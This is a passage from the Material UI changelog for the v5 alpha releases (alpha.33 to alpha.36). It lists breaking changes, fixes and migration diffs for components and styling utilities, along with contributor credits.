[DateTimePicker] Fix not visible selected tab icon (#26624) @nikitabobers\n\n### Docs\n\n- [blog] Michał Dudak joins Material UI (#26700) @oliviertassinari\n- [docs] Migrate onepirate premium template to emotion part2 (#26707) @vicasas\n- [docs] Fix TextField demo layout (#26710) @vicasas\n- [docs] Improve Paperbase demo (#26711) @oliviertassinari\n- [docs] Migrate onepirate premium template to emotion part1 (#26671) @vicasas\n- [docs] Migrate paperbase premium template to emotion (#26658) @vicasas\n- [List] Fix demo to have correct semantic (#26742) @siriwatknp\n\n### Core\n\n- [core] Monitore size of key system modules (#26712) @oliviertassinari\n- [core] Batch small changes (#26738) @oliviertassinari\n- [core] Batch small changes (#26628) @oliviertassinari\n- [test] Ignore ReactDOM.render deprecation warning (#26683) @eps1lon\n- [test] Run e2e test with React 18 on a schedule (#26690) @eps1lon\n- [test] Count profiler renders not passive effects (#26678) @eps1lon\n- [test] Bundling fixtures should not override source build with published build (#26657) @eps1lon\n- [test] Make tests oblivious to StrictMode (#26654) @eps1lon\n\nAll contributors of this release in alphabetical order: @chadmuro, @eps1lon, @likitarai1, @mnajdova, @nikitabobers, @oliviertassinari, @robphoenix, @sakura90, @siriwatknp, @varandasi, @vicasas\n\n## 5.0.0-alpha.36\n\n<!-- generated comparing v5.0.0-alpha.35..next -->\n\n_Jun 8, 2021_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- ⚒️ We've introduced a new `ListItemButton` component that should prevent common mistakes when using `<ListItem button />` and help with customization and TypeScript support (#26446) @siriwatknp.\n- 👩‍🎤 `experimentalStyled` is now available without the `experimental` prefix.\n  We're confident that its API shouldn't receive any major changes until the stable release of v5 (#26558) @mnajdova.\n- 📦 `@material-ui/icons` only ships ES modules and no longer CommonJS modules.\n  This reduces the download size of the package from 1.7 MB to 1.2 MB and install size from 15.6 MB to 6.7 MB (#26310) @eps1lon.\n- 💄 Add support for [row and column spacing](https://mui.com/components/grid/#row-column-spacing) in the Grid component (#26559) @likitarai1.\n  <img width=\"549\" alt=\"grid spacing demo\" src=\"https://user-images.githubusercontent.com/3165635/121089288-383fa500-c7e7-11eb-8c43-53457b7430f1.png\">\n\n  Note that this feature was already available for [CSS grid users](https://mui.com/components/grid/#css-grid-layout) with the `rowGap` and `columnGap` props.\n\n### `@material-ui/core@5.0.0-alpha.36`\n\n#### Breaking changes\n\n- [AppBar] Fix background color on dark mode (#26545) @siriwatknp\n\n  The `color` prop has no longer any effect in dark mode. The app bar uses the background color required by the elevation to follow the [Material Design guidelines](https://m2.material.io/design/color/dark-theme.html). Use `enableColorOnDark` to restore the behavior of v4.\n\n  ```jsx\n  <AppBar enableColorOnDark />\n  ```\n\n- [core] Rename `experimentalStyled` to `styled` (#26558) @mnajdova\n\n  Remove the experimental prefix, this module is going stable:\n\n  ```diff\n  -import { experimentalStyled as styled } from '@material-ui/core/styles';\n  +import { styled } from '@material-ui/core/styles';\n  ```\n\n- [SwitchBase] Replace IconButton with ButtonBase (#26460) @siriwatknp\n- [theme] Improve default `primary`, `secondary` and `error` theme palette (#26555) @siriwatknp\n\n#### Changes\n\n- [Box] Fix module 'clsx' not found in system (#26553) @coder-freestyle\n- [Box] Fix runtime error when using styled-components without ThemeProvider (#26548) @mnajdova\n- [Radio][checkbox] Don't forward `color` to DOM elements (#26625) @siriwatknp\n- [Dialog] Flatten DialogTitle DOM structure, remove `disableTypography` (#26323) @eps1lon\n- [Grid] Add rowSpacing and columnSpacing props (#26559) @likitarai1\n- [List] extract button from ListItem to ListItemButton (#26446) @siriwatknp\n- [Popover] Fix PaperProps.ref breaking positioning (#26560) @vedadeepta\n- [Rating] onChangeActive shouldn't be fired on blur/focus (#26584) @coder-freestyle\n- [Select] Fix custom font size centering arrow (#26570) @sarahannnicholson\n- [styled] Convert implicit styleProps to explicit (#26461) @mnajdova@siriwatknp\n- [Tabs] Fix RTL indicator (#26470) @siriwatknp\n- [Tabs] Fix arrow rotation in vertical & RTL (#26527) @siriwatknp\n- [TextField] Fix support for custom `size` prop value (#26585) @coder-freestyle\n- [Tooltip] Finish exiting once started (#26535) @eps1lon\n\n### `@material-ui/icons@5.0.0-alpha.36`\n\n#### Breaking changes\n\n- [icons] Only ship ES modules (#26310) @eps1lon\n\n  The `require()` of `@material-ui/icons` is no longer supported.\n  This should not affect you if you're using a bundler like `webpack` or `snowpack` or meta frameworks like `next` or `gatsby`.\n\n### `@material-ui/lab@5.0.0-alpha.36`\n\n#### Breaking changes\n\n- [pickers] Remove `openPickerIcon` prop in favor of `components.OpenPickerIcon` (#26223) @vedadeepta\n\n  ```diff\n   <DateTimePicker\n     components={{\n       LeftArrowIcon: AlarmIcon,\n       RightArrowIcon: SnoozeIcon,\n  +    OpenPickerIcon: ClockIcon,\n     }}\n  -  openPickerIcon={<ClockIcon />}\n   >\n  ```\n\n### `@material-ui/system@5.0.0-alpha.36`\n\n- [system] Add createTheme util (#26490) @mnajdova\n\n### Docs\n\n- [docs] Migrate templates to emotion (#26604) @vicasas\n- [docs] Remove custom primary & secondary color (#26541) @siriwatknp\n- [docs] Don't escape prop descriptions for markdown table context (#26579) @eps1lon\n- [docs] Prepare for data grid auto-generated docs (#26477) @m4theushw\n- [docs] Fix typo sx !== xs (#26596) @onpaws\n- [docs] Multiple select demos moving when selecting values (#26539) @itsnorbertkalacska\n- [docs] Improve migration guide for `@material-ui/styles` (#26552) @mnajdova\n- [docs] `Rating` `value` is nullable in `onChange` (#26542) @sakura90\n- [example] Remove the dependency on @material-ui/styles (#26567) @garfunkelvila\n\n### Core\n\n- [core] Ignore latest prettier run in git-blame @eps1lon\n- [core] Format @eps1lon\n- [test] Add bundle fixtures (#23166) @eps1lon\n\nAll contributors of this release in alphabetical order: @coder-freestyle, @eps1lon, @garfunkelvila, @itsnorbertkalacska, @likitarai1, @m4theushw, @michaldudak, @mnajdova, @onpaws, @sakura90, @sarahannnicholson, @siriwatknp, @vedadeepta, @vicasas\n\n## 5.0.0-alpha.35\n\n<!-- generated comparing v5.0.0-alpha.34..next -->\n\n_May 31, 2021_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 We have completed the migration to emotion of all the components (`@material-ui/core` and `@material-ui/lab`) @siriwatknp, @mnajdova.\n- 📦 Save [10 kB gzipped](https://bundlephobia.com/package/@material-ui/core@5.0.0-alpha.34) by removing the dependency on `@material-ui/styles` (JSS) from the core and the lab (#26377, #26382, #26376) @mnajdova.\n- ⚒️ Add many new [codemods](https://github.com/mui/material-ui/blob/v5.0.0/packages/mui-codemod/README.md) to automate the migration from v4 to v5 (#24867) @mbrookes.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.35`\n\n#### Breaking changes\n\n- [styles] Remove `makeStyles` from `@material-ui/core` (#26382) @mnajdova\n\n  The `makeStyles` JSS utility is no longer exported from `@material-ui/core`. You can use `@material-ui/styles` instead. Make sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available. If you are using this utility together with `@material-ui/core`, it's recommended you use the `ThemeProvider` component from `@material-ui/core` instead.\n\n  ```diff\n  -import { makeStyles } from '@material-ui/core/styles';\n  +import { makeStyles } from '@material-ui/styles';\n  +import { createTheme, ThemeProvider } from '@material-ui/core/styles';\n\n  +const theme = createTheme();\n   const useStyles = makeStyles((theme) => ({\n     background: theme.palette.primary.main,\n   }));\n   function Component() {\n     const classes = useStyles();\n     return <div className={classes.root} />\n   }\n\n   // In the root of your app\n   function App(props) {\n  -  return <Component />;\n  +  return <ThemeProvider theme={theme}><Component {...props} /></ThemeProvider>;\n   }\n  ```\n\n- [styles] Remove `withStyles` from `@material-ui/core` (#26377) @mnajdova\n\n  The `withStyles` JSS utility is no longer exported from `@material-ui/core`. You can use `@material-ui/styles` instead. Make sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available. If you are using this utility together with `@material-ui/core`, you should use the `ThemeProvider` component from `@material-ui/core` instead.\n\n  ```diff\n  -import { withStyles } from '@material-ui/core/styles';\n  +import { withStyles } from '@material-ui/styles';\n  +import { createTheme, ThemeProvider } from '@material-ui/core/styles';\n\n  +const defaultTheme = createTheme();\n   const MyComponent = withStyles((props) => {\n     const { classes, className, ...other } = props;\n     return <div className={clsx(className, classes.root)} {...other} />\n   })(({ theme }) => ({ root: { background: theme.palette.primary.main }}));\n\n   function App() {\n  -  return <MyComponent />;\n  +  return <ThemeProvider theme={defaultTheme}><MyComponent /></ThemeProvider>;\n   }\n  ```\n\n- [styles] Merge options in `experimentalStyled` (#26396) @mnajdova\n\n  The options inside the `experimentalStyled` module are now merged under one object. In the coming weeks, we will rename ths module: `styled()` to signal that it's no longer experimental.\n\n  ```diff\n  -experimentalStyled(Button, { shouldForwardProp: (prop) => prop !== 'something' }, { skipSx: true })(...);\n  +experimentalStyled(Button, { shouldForwardProp: (prop) => prop !== 'something', skipSx: true })(...);\n  ```\n\n- [Tabs] Update `min` & `max` width and remove `minWidth` media query (#26458) @siriwatknp\n\n  Update the implementation to better match Material Design:\n  - Tab `minWidth` changed from `72px` => `90px` (without media-query) according to [material-design spec](https://m2.material.io/components/tabs#specs)\n  - Tab `maxWidth` changed from `264px` => `360px` according to [material-design spec](https://m2.material.io/components/tabs#specs)\n\n#### Changes\n\n- [ButtonBase] Fix role=\"button\" attribute (#26271) @Gautam-Arora24\n- [Dialog] Fix support for custom breakpoints (#26331) @jeferson-sb\n- [Select] Open popup below button (#26200) @oliviertassinari\n- [TextField] Add variants support, for example custom sizes (#26468) @siriwatknp\n- [Tooltip] Improve handling of small vs. touch screens (#26097) @oliviertassinari\n\n### `@material-ui/codemod@5.0.0-alpha.35`\n\n- [codemod] Add multiple codemods to migrate components from v4 to v5 (#24867) @mbrookes\n- [codemod] Correct path and add target placeholder (#26414) @mbrookes\n\n### `@material-ui/icons@5.0.0-alpha.35`\n\n- [icons] Use array children instead of React fragments (#26309) @eps1lon\n\n  Reduce a bit the size of the package.\n\n### `@material-ui/system@5.0.0-alpha.35`\n\nWe are progressively moving all modules that are relevant to styling custom design systems in this package. It's meant to be complementary with `@material-ui/unstyled`.\n\n- [system] Add Box to system (#26379) @mnajdova\n- [system] Add createStyled utility (#26485) @mnajdova\n\n### `@material-ui/styled-engine-sc@5.0.0-alpha.35`\n\n- [styled-engine] Fix styled() util to respect `options` (#26339) @pasDamola\n\n### `@material-ui/lab@5.0.0-alpha.35`\n\n#### Breaking changes\n\n- [pickers] Remove allowKeyboardControl (#26451) @eps1lon\n- [ClockPicker] Rework keyboard implementation (#26400) @eps1lon\n\n  Remove the `allowKeyboardControl` prop from ClockPicker (and TimePicker and variants). Keyboard navigation now works by default.\n\n#### Changes\n\n- [Button] Migrate LoadingButton to emotion (#26370) @siriwatknp\n- [ClockPicker] Selected option is the active descendant (#26411) @eps1lon\n- [DatePicker] Migrate CalendarPicker to emotion (#26390) @siriwatknp\n- [DatePicker] Migrate CalendarPickerSkeleton to emotion (#26335) @siriwatknp\n- [DateRangePicker] Migrate DateRangePickerDay to emotion (#26368) @siriwatknp\n- [DateRangePicker] Migrate internal components to emotion (#26326) @siriwatknp\n- [pickers] Migrate PickersCalendarHeader to emotion (#26354) @siriwatknp\n- [pickers] Migrate PickersModalDialog to emotion (#26355) @siriwatknp\n- [pickers] Migrate PickersPopper to emotion (#26391) @siriwatknp\n- [pickers] Migrate PickersTransition to emotion (#26353) @siriwatknp\n- [TimePicker] Migrate ClockPicker to emotion (#26389) @siriwatknp\n- [TreeView] Correctly select items in deeply nested trees (#26413) @Dru89\n\n### Docs\n\n- [docs] Add page for `experimentalStyled()` (#26361) @mnajdova\n- [docs] Add TypeScript convention (#26259) @siriwatknp\n- [docs] Add warning about git-blame-ignore-revs (#26487) @eps1lon\n- [docs] Clarify migration from Hidden (#26348) @m4theushw\n- [docs] Fix grammar for style library page (#26325) @mbrookes\n- [docs] Persist copied state indefinitely or until the user moves their cursor (#26336) @eps1lon\n- [docs] Typo in MultipleSelect (#26466) @wolfykey\n- [docs] Update system installation for v5 (#26481) @mnajdova\n- [template] Demo how to retreive form value (#26393) @akshitsuri\n\n### Core\n\n- [core] Batch small changes (#26434) @oliviertassinari\n- [core] Fix peer dependencies declaration with yarn v2 (#26433) @oliviertassinari\n- [core] Remove `@material-ui/styles` dependencies from declaration files too (#26376) @mnajdova\n- [core] Revert Leverage CircleCI workspaces for jobs after checkout (#26444) @eps1lon\n- [test] Don't hoist constant elements (#26448) @eps1lon\n- [test] Fix prop-type warning (#26432) @oliviertassinari\n- [test] Flush scheduled effects before user event returns (#26447) @eps1lon\n- [test] Move ClockPicker tests to ClockPicker.test (#26407) @eps1lon\n- [test] setProps from createPickerRender should set props on the rendered element (#26405) @eps1lon\n- [utils] Convert useId to TypeScript (#26491) @eps1lon\n\nAll contributors of this release in alphabetical order: @akshitsuri, @DanailH, @Dru89, @eps1lon, @Gautam-Arora24, @jeferson-sb, @m4theushw, @mbrookes, @mnajdova, @oliviertassinari, @pasDamola, @siriwatknp, @wolfykey\n\n## 5.0.0-alpha.34\n\n_May 18, 2021_\n\n<!-- generated comparing v5.0.0-alpha.33..next -->\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- 💥 Make progress with the breaking changes. We have done 89 of the 109 changes [planned](https://github.com/mui/material-ui/issues/20012). We will release 5.0.0-beta.0 on July 1st and start to promote its usage over v4. You can also follow [our milestone](https://github.com/mui/material-ui/milestone/35) for more details.\n- 🚀 Make progress with components migration to emotion. We have done 153 of the 168 components (almost there!)\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.34`\n\n#### Breaking change\n\n- [Select][nativeselect] Polish CSS classes (#26186) @m4theushw\n\n  **Select, NativeSelect**\n\n  Merge the `selectMenu` slot into `select`. Slot `selectMenu` was redundant. The `root` slot is no longer applied to the select, but to the root.\n\n  ```diff\n  -<NativeSelect classes={{ root: 'class1', select: 'class2', selectMenu: 'class3' }} />\n  +<NativeSelect classes={{ select: 'class1 class2 class3' }} />\n  ```\n\n  **TablePagination**\n\n  Move the custom class on `input` to `select`. The `input` key is being applied on another element.\n\n  ```diff\n   <TablePagination\n  -  classes={{ input: 'foo' }}\n  +  classes={{ select: 'foo' }}\n   />\n  ```\n\n- [core] Move `StyledEngineProvider` to `@material-ui/core/styles` (#26265) @mnajdova\n\n  Change location of `StyledEngineProvider` import.\n\n  ```diff\n  -import StyledEngineProvider from '@material-ui/core/StyledEngineProvider';\n  +import { StyledEngineProvider } from '@material-ui/core/styles';\n  ```\n\n- [Autocomplete] Apply .Mui-focused instead of data-focus on the focused option (#26181) @m4theushw\n\n  The `data-focus` attribute is not set on the focused option anymore, instead, global class names are used.\n\n  ```diff\n  -'.MuiAutocomplete-option[data-focus=\"true\"]': {\n  +'.MuiAutocomplete-option.Mui-focused': {\n  ```\n\n- [Radio] Make color primary default (#26180) @vicasas\n- [Switch] Make color primary default (#26182) @vicasas\n- [pickers] Drop ResponsiveWrapper usage (#26123) @eps1lon\n\n  When a responsive picker changes from mobile to desktop, it will now clear its entire state. To keep the original behavior you can implement a controlled picker:\n\n  ```js\n  function ResponsiveDateTimePicker(props) {\n    const [open, setOpen] = React.useState(false);\n\n    return (\n      <DateTimePicker\n        open={open}\n        onClose={() => setOpen(false)}\n        onOpen={() => setOpen(true)}\n        {...props}\n      />\n    );\n  }\n  ```\n\n- [Autocomplete] Rename getOptionSelected to isOptionEqualToValue (#26173) @m4theushw\n\n  ```diff\n   <Autocomplete\n  -  getOptionSelected={(option, value) => option.title === value.title}\n  +  isOptionEqualToValue={(option, value) => option.title === value.title}\n   />\n  ```\n\n> Follow [this link](https://mui.com/material-ui/migration/migration-v4/) for full migration from v4 => v5\n\n#### Changes\n\n- [TextField] Fix hiddenLabel type of FilledInput (#26290) @siriwatknp\n- [TextField] Fix classes forward to InputBase (#26231) @arpitBhalla\n- [Autocomplete] Fix missing 'createOption' in AutocompleteCloseReason type (#26197) @Gautam-Arora24\n- [Autocomplete] Reduce CSS specificity by 1 (#26238) @Gautam-Arora24\n- [ButtonBase] Omit aria-disabled if not disabled (#26189) @Gautam-Arora24\n- [colors] Fix A inconsistencies (#26196) @oliviertassinari\n- [examples] Fix dynamic global styles & global styles leak in the ssr examples (#26177) @mnajdova\n- [Slider] Fix support for non primary colors (#26285) @davidfdriscoll\n- [Slider] Center value label for disabled slider (#26257) @davidfdriscoll\n- [styled-engine] Fix styled-components not supporting empty style (#26098) @ruppysuppy\n- [styles] Fix overrides type issues (#26228) @mnajdova\n- [Container] Fix support for custom breakpoints (#26328) @alanszp\n\n### `@material-ui/lab@5.0.0-alpha.34`\n\n- [pickers] Migrate TimePickerToolbar to emotion (#26274) @siriwatknp\n- [pickers] Migrate DatePickerToolbar to emotion (#26292) @siriwatknp\n- [DateTimePicker] Migrate DateTimePickerTabs and Toolbar to emotion (#26327) @siriwatknp\n- [DatePicker] Migrate PickersYear to emotion (#25949) @siriwatknp\n- [DateRangePicker] Migrate PickersToolbarText to emotion (#25983) @siriwatknp\n- [pickers] Migrate StaticWrapper to emotion (#26275) @siriwatknp\n- [pickers] Migrate Clock to emotion (#26278) @siriwatknp\n- [pickers] Migrate PickersToolbar to emotion (#26273) @siriwatknp\n- [pickers] Migrate ClockNumber to emotion (#26058) @siriwatknp\n- [pickers] Migrate ClockPointer to emotion (#26057) @siriwatknp\n- [pickers] Migrate PickersMonth to emotion (#26021) @siriwatknp\n- [pickers] Migrate MonthPicker to emotion (#26025) @siriwatknp\n- [pickers] Migrate PickersDay to emotion (#25995) @siriwatknp\n- [pickers] Migrate PickersToolbarButton to emotion (#25989) @siriwatknp\n\n### `@material-ui/icons@5.0.0-alpha.34`\n\n- [icons] Remove extraneous React.Fragment (#26308) @eps1lon\n- [icons] Synchronize icons (#26302) @eps1lon\n\n  New DriveFileMove icon and its variants\n\n### Docs\n\n- [NProgressBar] Fix invalid ARIA and HTML (#26234) @eps1lon\n- [docs] Simplify demos slider (#26324) @oliviertassinari\n- [docs] Use transpiled icons directly (#26268) @eps1lon\n- [docs] Remove dependency on withStyles from @material-ui/core/styles (#26269) @mnajdova\n- [docs] Add Jalali date picker demo (#26243) @smmoosavi\n- [docs] Remove last dependencies on `makeStyles` from `@material-ui/core/styles` (#26246) @mnajdova\n- [docs] Polish the pickers demo (#26094) @oliviertassinari\n- [docs] Fix broken overrides link on API pages (#26244) @mnajdova\n- [docs] Improve documentation for Buttons (#26184) @arpitBhalla\n- [docs] Emphasize on props for screen readers (#26222) @atisheyJain03\n- [docs] Link third-party routing in Bottom navigation (#26190) @arpitBhalla\n- [docs] Migrate Select, Progress demos to emotion (#26178) @mnajdova\n- [docs] Add accessibility section to Badges (#26009) @likitarai1\n- [docs] Migrate Popper, Drawer demos to emotion (#26183) @mnajdova\n- [docs] Use public next/router events API (#26233) @eps1lon\n- [docs] Remove remnants Hidden component (#26191) @vicasas\n- [docs] Ensure TreeView demos don't overflow demo container (#26161) @eps1lon\n- [docs] Fix a typo in the import statement of LocalizationProvider (#26226) @huyenltnguyen\n- [docs] Improve react-admin coverage in the showcase (#26169) @fzaninotto\n- [docs] Fix Workbox that are causing infinite loading of site (#26193) @arpitBhalla\n\n### Core\n\n- [core] Skip sx prop in internal components (#26235) @mnajdova\n- [core] Remove `withStyles` dependencies from `@material-ui/core/styles` (#26277) @mnajdova\n- [core] Include human readable target in the BrowserStack build (#26322) @eps1lon\n- [core] Fix NotchedOutlineProps type (#26305) @gnowland\n- [core] Add file for git-blame --ignore-revs-file (#26295) @eps1lon\n- [core] Ensure component class keys aren't missing (#25754) @eps1lon\n- [core] Drop support for blocking mode (#26262) @eps1lon\n- [core] Don't download monorepo packages (#26261) @eps1lon\n- [core] Batch small changes (#26199) @oliviertassinari\n- [core] Extract classes descriptions from TypeScript (#25933) @eps1lon\n- [styled-engine] Fix test script (#26258) @ruppysuppy\n\nAll contributors of this release in alphabetical order: @arpitBhalla, @atisheyJain03, @davidfdriscoll, @eps1lon, @fzaninotto, @Gautam-Arora24, @gnowland, @huyenltnguyen, @likitarai1, @m4theushw, @mnajdova, @oliviertassinari, @ruppysuppy, @siriwatknp, @smmoosavi, @vicas\n\n## 5.0.0-alpha.33\n\n_May 9, 2021_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 💥 Make progress with the breaking changes. We have done 81 of the 109 changes [planned](https://github.com/mui/material-ui/issues/20012). We will release 5.0.0-beta.0 on July 1st and start to promote its usage over v4. You can also follow [our milestone](https://github.com/mui/material-ui/milestone/35) for more details.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@5.0.0-alpha.33`\n\n#### Breaking changes\n\n- [core] Remove deprecated innerRef prop (#26028) @m4theushw\n\n  **withStyles**\n\n  Replace the `innerRef` prop with the `ref` prop. Refs are now automatically forwarded to the inner component.\n\n  ```diff\n   import * as React from 'react';\n   import { withStyles } from '@material-ui/core/styles';\n\n   const MyComponent = withStyles({\n     root: {\n       backgroundColor: 'red',\n     },\n   })(({ classes }) => <div className={classes.root} />);\n\n   function MyOtherComponent(props) {\n     const ref = React.useRef();\n  -  return <MyComponent innerRef={ref} />;\n  +  return <MyComponent ref={ref} />;\n   }\n  ```\n\n  **withTheme**\n\n  Replace the `innerRef` prop with the `ref` prop. Refs are now automatically forwarded to the inner component.\n\n  ```diff\n   import * as React from 'react';\n   import { withTheme } from '@material-ui/core/styles';\n\n   const MyComponent = withTheme(({ theme }) => <div>{props.theme.direction}</div>);\n\n   function MyOtherComponent(props) {\n     const ref = React.useRef();\n  -  return <MyComponent innerRef={ref} />;\n  +  return <MyComponent ref={ref} />;\n   }\n  ```\n\n- [theme] Rename `createMuiTheme()` to `createTheme()` (#25992) @m4theushw\n\n  Developers only need one theme in their application. A prefix would suggest a second theme is needed. It's not the case. `createMuiTheme` will be removed in v6.\n\n  ```diff\n  -import { createMuiTheme } from '@material-ui/core/styles';\n  +import { createTheme } from '@material-ui/core/styles';\n\n  -const theme = createMuiTheme({\n  +const theme = createTheme({\n  ```\n\n- [theme] Remove MuiThemeProvider alias (#26171) @m4theushw\n\n  The `MuiThemeProvider` is no longer exported. Use `ThemeProvider` instead. It was removed from the documentation during v4-beta, 2 years ago.\n\n  ```diff\n  -import { MuiThemeProvider } from '@material-ui/core/styles';\n  +import { ThemeProvider } from '@material-ui/core/styles';\n  ```\n\n- [Box] Remove the `clone` prop (#26031) @m4theushw\n\n  Its behavior can be obtained using the `sx` prop.\n\n  ```diff\n  -<Box sx={{ border: '1px dashed grey' }} clone>\n  -  <Button>Save</Button>\n  -</Box>\n  +<Button sx={{ border: '1px dashed grey' }}>Save</Button>\n  ```\n\n- [Box] Remove render prop (#26113) @m4theushw\n\n  Its behavior can be obtained using the `sx` prop directly on the child if it's a Material UI component. For non-Material UI components use the `sx` prop in conjunction with the `component` prop:\n\n  ```diff\n  -<Box sx={{ border: '1px dashed grey' }}>\n  -  {(props) => <Button {...props}>Save</Button>}\n  -</Box>\n  +<Button sx={{ border: '1px dashed grey' }}>Save</Button>\n  ```\n\n  ```diff\n  -<Box sx={{ border: '1px dashed grey' }}>\n  -  {(props) => <button {...props}>Save</button>}\n  -</Box>\n  +<Box component=\"button\" sx={{ border: '1px dashed grey' }}>Save</Box>\n  ```\n\n- [Checkbox] Make color=\"primary\" default (#26002) @vicasas\n\n  This better matches the Material Design guidelines.\n\n  ```diff\n  -<Checkbox />\n  +<Checkbox color=\"secondary />\n  ```\n\n- [Select] Remove `labelWidth` prop (#26026) @m4theushw\n\n  The `label` prop now fulfills the same purpose, using CSS layout instead of JavaScript measurement to render the gap in the outlined. The TextField already handles it by default.\n\n  ```diff\n  -<Select variant=\"outlined\" labelWidth={20} />\n  +<Select label=\"Gender\" />\n  ```\n\n- [core] Remove `styled` JSS utility from `@material-ui/core/styles` (#26101) @mnajdova\n\n  The `styled` **JSS** utility is no longer exported from `@material-ui/core/styles`. You can use `@material-ui/styles/styled` instead. Make sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available. If you are using this utility together with `@material-ui/core`, it's recommended you use the `ThemeProvider` component from `@material-ui/core/styles` instead.\n\n  ```diff\n  -import { styled } from '@material-ui/core/styles';\n  +import { styled } from '@material-ui/styles';\n  +import { createTheme, ThemeProvider } from '@material-ui/core/styles';\n\n  +const theme = createTheme();\n   const MyComponent = styled('div')(({ theme }) => ({ background: theme.palette.primary.main }));\n\n   function App(props) {\n  -  return <MyComponent />;\n  +  return <ThemeProvider theme={theme}><MyComponent {...props} /></ThemeProvider>;\n   }\n  ```\n\n  For new components, you can instead use the `experimentalStyled()` helper powered by emotion/sc.\n\n  ```jsx\n  import { experimentalStyled as styled } from '@material-ui/core/styles';\n  ```\n\n- [Hidden] Remove component (#26135) @m4theushw\n\n  Removed in favor of using the `sx` prop or the `useMediaQuery` hook.\n\n  Use the `sx` prop to replace `implementation=\"css\"`:\n\n  ```diff\n  -<Hidden implementation=\"css\" xlUp><Paper /></Hidden>\n  -<Hidden implementation=\"css\" xlUp><button /></Hidden>\n  +<Paper sx={{ display: { xl: 'none', xs: 'block' } }} />\n  +<Box component=\"button\" sx={{ display: { xl: 'none', xs: 'block' } }} />\n  ```\n\n  ```diff\n  -<Hidden implementation=\"css\" mdDown><Paper /></Hidden>\n  -<Hidden implementation=\"css\" mdDown><button /></Hidden>\n  +<Paper sx={{ display: { xs: 'none', md: 'block' } }} />\n  +<Box component=\"button\" sx={{ display: { xs: 'none', md: 'block' } }} />\n  ```\n\n  Use the `useMediaQuery` hook to replace `implementation=\"js\"`:\n\n  ```diff\n  -<Hidden implementation=\"js\" xlUp><Paper /></Hidden>\n  +const hidden = useMediaQuery(theme => theme.breakpoints.up('xl'));\n  +return hidden ? null : <Paper />;\n  ```\n\n- [withWidth] Remove API (#26136) @m4theushw\n\n  Removed in favor of the `useMediaQuery` hook. You can reproduce the same functionality creating a custom hook as described [here](https://mui.com/components/use-media-query/#migrating-from-withwidth).\n\n- [Autocomplete] Rename values of the reason argument (#26172) @m4theushw\n\n  Rename the values of the reason argument in `onChange` and `onClose` for consistency:\n  1. `create-option` to `createOption`\n  2. `select-option` to `selectOption`\n  3. `remove-option` to `removeOption`\n\n- [core] Remove `withTheme` from `@material-ui/core` (#26051) @mnajdova\n\n  The `withTheme` utility has been removed from the `@material-ui/core/styles` package. You can use the `@material-ui/styles/withTheme` instead. Make sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available. If you are using this utility together with `@material-ui/core`, it's recommended you use the `ThemeProvider` from `@material-ui/core/styles` instead.\n\n  ```diff\n   import * as React from 'react';\n  -import { withTheme } from '@material-ui/core/styles';\n  +import { withTheme } from '@material-ui/styles';\n  +import { createTheme, ThemeProvider } from '@material-ui/core/styles';\n\n  +const theme = createTheme();\n   const MyComponent = withTheme(({ theme }) => <div>{props.theme.direction}</div>);\n\n   function App(props) {\n  -  return <MyComponent />;\n  +  return <ThemeProvider theme={theme}><MyComponent {...props} /></ThemeProvider>;\n   }\n  ```\n\n- [core] Remove `createStyles` from `@material-ui/core` (#26018) @mnajdova\n  - The `createGenerateClassName` module is no longer exported from `@material-ui/core/styles`. You should import it directly from `@material-ui/styles`.\n\n  ```diff\n  -import { createGenerateClassName } from '@material-ui/core/styles';\n  +import { createGenerateClassName } from '@material-ui/styles';\n  ```\n\n  - The `jssPreset` object is no longer exported from `@material-ui/core/styles`. You should import it directly from `@material-ui/styles`.\n\n  ```diff\n  -import { jssPreset } from '@material-ui/core/styles';\n  +import { jssPreset } from '@material-ui/styles';\n  ```\n\n  - The `ServerStyleSheets` component is no longer exported from `@material-ui/core/styles`. You should import it directly from `@material-ui/styles`.\n\n  ```diff\n  -import { ServerStyleSheets } from '@material-ui/core/styles';\n  +import { ServerStyleSheets } from '@material-ui/styles';\n  ```\n\n- The `StylesProvider` component is no longer exported from `@material-ui/core/styles`. You should import it directly from `@material-ui/styles`.\n\n  ```diff\n  -import { StylesProvider } from '@material-ui/core/styles';\n  +import { StylesProvider } from '@material-ui/styles';\n  ```\n\n- The `useThemeVariants` hook is no longer exported from `@material-ui/core/styles`. You should import it directly from `@material-ui/styles`.\n\n  ```diff\n  -import { useThemeVariants } from '@material-ui/core/styles';\n  +import { useThemeVariants } from '@material-ui/styles';\n  ```\n\n- [FormControlLabel] The `label` prop is now required.\n\n#### Changes\n\n- [Dialog] Improve support for custom breakpoints (#26092) @oliviertassinari\n- [IconButton] Fix default color prop (#26064) @Jack-Works\n- [Radio] Migrate RadioButtonIcon to emotion (#26068) @mnajdova\n- [SwipeableDrawer] Migrate SwipeArea to emotion (#26059) @mnajdova\n- [Table] Synchronize horizontal sticky header position with body (#26159) @LiKang6688\n- [Tabs] Fix support for null children in TabList (#26170) @hubertokf\n- [Tabs] Fix keyboard traversal over disabled tabs (#26061) @anish-khanna\n- [TextField] Fix missing `standard` variant classes in types (#26115) @siriwatknp\n- [TextField] Allow to customize Typography in FormControlLabel (#25883) @mousemke\n- [theme] Fix transition duration default value customization (#26054) @anshuman9999\n\n### `@material-ui/lab@5.0.0-alpha.33`\n\n#### Breaking changes\n\n- [Timeline] Add support for position override on items (#25974) @simonecervini\n\n  Rename the `align` prop to `position` to reduce confusion.\n\n  ```diff\n  -<Timeline align=\"alternate\">\n  +<Timeline position=\"alternate\">\n  ```\n\n  ```diff\n  -<Timeline align=\"left\">\n  +<Timeline position=\"right\">\n  ```\n\n  ```diff\n  -<Timeline align=\"right\">\n  +<Timeline position=\"left\">\n  ```\n\n- [pickers] Remove customization of deep components (#26118) @eps1lon\n\n#### Changes\n\n- [DatePicker] Migrate YearPicker to emotion (#25928) @siriwatknp\n- [DateRangePicker] Fix not being 